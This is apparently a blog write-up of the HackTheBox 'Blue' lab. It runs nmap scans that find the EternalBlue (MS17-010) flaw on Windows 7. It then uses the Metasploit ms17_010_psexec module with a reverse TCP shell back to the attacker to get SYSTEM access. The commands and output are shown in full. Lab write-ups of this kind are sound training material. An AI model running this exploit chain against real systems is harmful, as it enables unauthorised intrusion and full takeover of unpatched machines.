Blue :: [root@georgyg.com] #

An easy Windows box from HackTheBox, enumerate that the box is susceptible to eternal blue and run the exploit to get root.

Recon

Running the usual nmap

sudo nmap -sC -sV -oA nmap/init 10.10.10.40

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2022-09-17T18:24:56
|_  start_date: 2022-09-17T09:54:14
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-09-17T19:24:55+01:00
|_clock-skew: mean: -19m59s, deviation: 34m36s, median: -1s

The box’s name is “Blue”, so run the nmap vuln scripts to check if we can use Eternal Blue on it

sudo nmap -script vuln 10.10.10.40

...

Host script results:
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND

And find that its vulnerable

Exploitation

The hardest part of this box is finding an exploit that works, and is easy to run

I opt to just use the metasploit version, since its the most consistent for me

msfconsole

msf6 > search eternal blue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution                                                                               
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution                                                                            
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution

msf6 > use 1

Then set the variables, rhosts and lhost

msf6 exploit(windows/smb/ms17_010_psexec) > set lhost 10.10.14.5
lhost => 10.10.14.5

msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 10.10.10.40
rhosts => 10.10.10.40

Then run the exploit and get root!

msf6 exploit(windows/smb/ms17_010_psexec) > run

[*] Started reverse TCP handler on 10.10.14.5:4444 
[*] 10.10.10.40:445 - Target OS: Windows 7 Professional 7601 Service Pack 1
[*] 10.10.10.40:445 - Built a write-what-where primitive...
[+] 10.10.10.40:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.40:445 - Selecting PowerShell target
[*] 10.10.10.40:445 - Executing the payload...
[+] 10.10.10.40:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (175686 bytes) to 10.10.10.40
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.40:49159) at 2022-09-17 15:11:30 -0400

meterpreter > shell
Process 568 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Blue

Recon #

Exploitation #

Recon

Exploitation